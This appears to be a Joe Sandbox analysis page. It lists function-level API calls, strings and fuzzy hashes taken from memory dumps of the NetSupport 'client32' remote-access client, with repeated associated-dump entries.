Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ObjectSelect$LineMove
String ID:
API String ID: 359220273-0
Opcode ID: 912494e776754d9e43a2a32872c63d300be8357348bb960b20f75cb825616cfa
Instruction ID: 21f229d1c7d8c8dc4b4b16be7dffbf2429469ae1aeee6a23e1c2fe7cad82a0fa
Opcode Fuzzy Hash: 912494e776754d9e43a2a32872c63d300be8357348bb960b20f75cb825616cfa
Instruction Fuzzy Hash: CA012876201128BFD704DB95DD84DABF7ACFF89210B108256FD2883640D770AD018BA0

Function 110B3560 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B3578
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7A64), ref: 110B3585
CloseHandle.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B3598
CloseHandle.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B35A5
WaitForSingleObject.KERNEL32(?,000003E8,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B35C3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7A64), ref: 110B35D0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 47e8cf337b2ce15499ba854ff78383ed598d3397d94da8483aa60cf9ecc16ddf
Instruction ID: c91d849fc108652eb31eb37091e5d5d4b5a552e1f27565d093635cb0be7e85a1
Opcode Fuzzy Hash: 47e8cf337b2ce15499ba854ff78383ed598d3397d94da8483aa60cf9ecc16ddf
Instruction Fuzzy Hash: 96011A75A087049BD7909FB988D4A96F7DCEB54300F11492EE5AEC3200CB78B8448F60

Function 11088020 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 110886C0: _memset.LIBCMT ref: 110886DF
Part of subcall function 110886C0: InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070CC3,00000000,00000000,11182F3E,000000FF), ref: 11088750

_memset.LIBCMT ref: 110880C2
_free.LIBCMT ref: 11088176

Strings

1 + (int) strlen(pszEnc64) < maxlen, xrefs: 11088158
..\CTL32\EncryptFuncs.cpp, xrefs: 110880A2, 11088153
pDES, xrefs: 110880A7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$CriticalInitializeSection_free
String ID: ..\CTL32\EncryptFuncs.cpp$1 + (int) strlen(pszEnc64) < maxlen$pDES
API String ID: 1034327355-3728095610
Opcode ID: 3f0fc10add862ae414e317733b7acb466fe5994ab9f005323c3292fa7598b23a
Instruction ID: c1f7332507345231af31a21f52458b70e12c39c0646f21d409442dfd5e8f1256
Opcode Fuzzy Hash: 3f0fc10add862ae414e317733b7acb466fe5994ab9f005323c3292fa7598b23a
Instruction Fuzzy Hash: 4241F375E44259ABDB10DF64DC81FEEB7B8FB44708F048199E949A7280EF30AA45CBD0

Function 110340F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000146,00000000,00000000), ref: 11034143
SendMessageA.USER32(?,00000149,00000000,00000000), ref: 11034169
SendMessageA.USER32(?,00000148,00000000,?), ref: 1103418D
_strncmp.LIBCMT ref: 110341F2

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~., xrefs: 11034125

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$_strncmp
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~.
API String ID: 3653864897-2723064302
Opcode ID: 680e87131231ae9ffb9cf99bbd5bd076bdec894dc419f91c3127ba1ad2c6fc09
Instruction ID: 9942400da876c73c2006ff64abc8c5ab83d7dcf65f92b9753e668e4276fd9f94
Opcode Fuzzy Hash: 680e87131231ae9ffb9cf99bbd5bd076bdec894dc419f91c3127ba1ad2c6fc09
Instruction Fuzzy Hash: 4B413B39E105595FC712CEB49C80BBABBFD9BC1316F4542D4E818EF290DA31DA48CB40

Function 1105A390 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(-80000002,SOFTWARE\Productive Computer Insight\Client32\AutoReconnect,00000000,00020019,00000000,?,?), ref: 1105A410
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 1105A46F
RegEnumValueA.ADVAPI32(00000000,00000001,?,?,00000000,?,?,?,?,?), ref: 1105A4E1
RegCloseKey.ADVAPI32(00000000,?,?,?), ref: 1105A4EE

Strings

SOFTWARE\Productive Computer Insight\Client32\AutoReconnect, xrefs: 1105A3C9, 1105A404

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseOpen
String ID: SOFTWARE\Productive Computer Insight\Client32\AutoReconnect
API String ID: 3785232357-4133889954
Opcode ID: 35184cea920729339416c2335192d7caa9066917f2ad41aee8609c076480c5ef
Instruction ID: f381cdfbe810446fdbc5c8e37418f05d32ec82583775adbbf3ad437ea623cab8
Opcode Fuzzy Hash: 35184cea920729339416c2335192d7caa9066917f2ad41aee8609c076480c5ef
Instruction Fuzzy Hash: 44415572E51229AFEB64CF94CC91FDAB7B8EB89704F0042D9E60D97180EB705A84CF51

Function 11146370 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

Strings

%s: , xrefs: 1114641A
CLIENT32, xrefs: 111463B0, 1114640F

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: %s: $CLIENT32
API String ID: 4139908857-407627211
Opcode ID: bbfd822ea36ec1217a5ea76a287d4667e02058545888def00001442b4b624510
Instruction ID: af445439b6752a8968c272d87336ee6d3db593790a582df571d11f25a3ee04be
Opcode Fuzzy Hash: bbfd822ea36ec1217a5ea76a287d4667e02058545888def00001442b4b624510
Instruction Fuzzy Hash: C241493550016ADBCB11CF24DC58AEEFBB9EF4630DF1486A4E82987680DB71964DCF90

Function 110773B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(?,00000000,?,00000002), ref: 110773FB

Part of subcall function 11076740: DeferWindowPos.USER32(8B000EB5,00000000,BEE85BC0,33CD335E,?,00000000,33CD335E,11077496), ref: 11076783

EqualRect.USER32(?,?), ref: 1107740C
SetWindowPos.USER32(00000000,00000000,?,33CD335E,BEE85BC0,8B000EB5,00000014,?,?,?,?,?,110775EA,00000000,?), ref: 11077466

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077442
m_hWnd, xrefs: 11077447

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$DeferEqualPointsRect
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2754115966-2830328467
Opcode ID: b6d19f504f75df2a93f1157cb60ab9b52a693478c141313c6b39b5393ddf6f55
Instruction ID: 7762f9a6a2ed7d341f2943c2e7d232384b1531e6a197bbc7c1a3da1ffe608ad4
Opcode Fuzzy Hash: b6d19f504f75df2a93f1157cb60ab9b52a693478c141313c6b39b5393ddf6f55
Instruction Fuzzy Hash: 74414B74A006099FDB14CF98C885EAABBF5FF48704F108569EA55AB344DB70A800CFA4

Function 11110530 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,AB86ACF8,?,?), ref: 11110564
std::_Xinvalid_argument.LIBCPMT ref: 1111059E
SetEvent.KERNEL32(?), ref: 111105C9
LeaveCriticalSection.KERNEL32(00000000,00000000), ref: 11110604

Strings

list<T> too long, xrefs: 11110599

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventLeaveXinvalid_argumentstd::_
String ID: list<T> too long
API String ID: 930337060-4027344264
Opcode ID: 0c55eadfd423d2968db6c31403b43634406423df5f7b4fd19a2904cad33ae44a
Instruction ID: 7bfaceea9a20e34aca0a829f3d9254b0af8797b3eeddb6bd678ff8280e03d006
Opcode Fuzzy Hash: 0c55eadfd423d2968db6c31403b43634406423df5f7b4fd19a2904cad33ae44a
Instruction Fuzzy Hash: C6314175A047059FD714CF64C984B56FBF9FB49314F10862EE8569BA44DB30F844CB51

Function 11146190 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

GetSysColor.USER32(0000000F), ref: 111461A9
LoadBitmapA.USER32(00000000,00000000), ref: 111461BF
SendDlgItemMessageA.USER32(00000000,00003A97,00000172,00000000,00000000), ref: 111461FB

Strings

..\ctl32\util.cpp, xrefs: 111461D9
hGrip || !"Unable to load sizing grip bitmap", xrefs: 111461DE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressBitmapColorDefaultFreeItemLangMessageProcSendSystemVersion_memset
String ID: ..\ctl32\util.cpp$hGrip || !"Unable to load sizing grip bitmap"
API String ID: 1044520585-3315463184
Opcode ID: 3a3d426a067b35c1d53599d825918b385af0754758e6c14c983fadd2fd90832f
Instruction ID: 8e565c128ad7df1c8f5e5c04fb88379ac646e9871c4513a0e4d424585abd715b
Opcode Fuzzy Hash: 3a3d426a067b35c1d53599d825918b385af0754758e6c14c983fadd2fd90832f
Instruction Fuzzy Hash: 0DF0BB79A4032577E61456F19D05FEBBA5C9B44F5DF004430FE19A7A82DE78D900C3E5

Function 11004210 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39windowsleepCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000060C,00000002,00000000), ref: 1100422E
Sleep.KERNEL32(00000064), ref: 11004236
SendMessageA.USER32(?,0000060C,00000003,00000000), ref: 11004249

Strings

m_pToolbar, xrefs: 1100425F
e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h, xrefs: 1100425A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$Sleep
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h$m_pToolbar
API String ID: 2158920685-281161189
Opcode ID: a0821aae14efe8214b6c614132f1d640bedf4309a2c18a52162f058517ab24af
Instruction ID: e130d243a18c05c63e38ab9a554661a07bf0098fc6b996864d1fadb4c15248a9
Opcode Fuzzy Hash: a0821aae14efe8214b6c614132f1d640bedf4309a2c18a52162f058517ab24af
Instruction Fuzzy Hash: B4F0A435B80710AFE228EBA0DC45F47B3E6BBC8704F014214F6119B691D770A901CB44

Function 110F62E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000001,11107408,?,?,00000000,?,00000104,?,1110809F), ref: 110F62F1
InterlockedExchange.KERNEL32(00000034,00000000), ref: 110F62FD
CloseHandle.KERNEL32(00000000,?,?,00000000,?,00000104,?,1110809F), ref: 110F6308
InterlockedIncrement.KERNEL32(111F15FC), ref: 110F6335

Strings

s%d client died, u=%s, xrefs: 110F6319

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseExchangeHandleIncrementObjectSingleWait
String ID: s%d client died, u=%s
API String ID: 174804551-366056384
Opcode ID: c192f3d5bca484a890637941cdb3a7630fb987d5b52ec21a0ba5dd43187fcfb3
Instruction ID: 551c94e3cc5d53289c1f75ee3767d4d5f8739e99a0362a2e2ac3a71050f0140c
Opcode Fuzzy Hash: c192f3d5bca484a890637941cdb3a7630fb987d5b52ec21a0ba5dd43187fcfb3
Instruction Fuzzy Hash: 7EF0B475600216ABF7208AB4EE89FD7B7ECEF06708F010869F852D3A04D730E444CB21

Function 11034360 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11034378
GetClassNameA.USER32(?,?,00000400), ref: 110343A6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

Edit, xrefs: 110343B2
CltAutoLogon.cpp, xrefs: 11034387
IsWindow(hWin), xrefs: 1103438C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassErrorExitLastMessageNameProcessWindowwsprintf
String ID: CltAutoLogon.cpp$Edit$IsWindow(hWin)
API String ID: 2713866921-406224758
Opcode ID: 7905da4c080bb9fbcb2ea404f06bf2458b3badafe63713af4a017f97f9c02a33
Instruction ID: de5463733f4b21b7b592fd3ca8503f00e7fd8ffd50b0e49cc7191f6a28a46f2f
Opcode Fuzzy Hash: 7905da4c080bb9fbcb2ea404f06bf2458b3badafe63713af4a017f97f9c02a33
Instruction Fuzzy Hash: 12F0B4B5A4122D6BDB00DF649D01FEEF76C9F45209F0000A8EB15AB181EB746A05CBD9

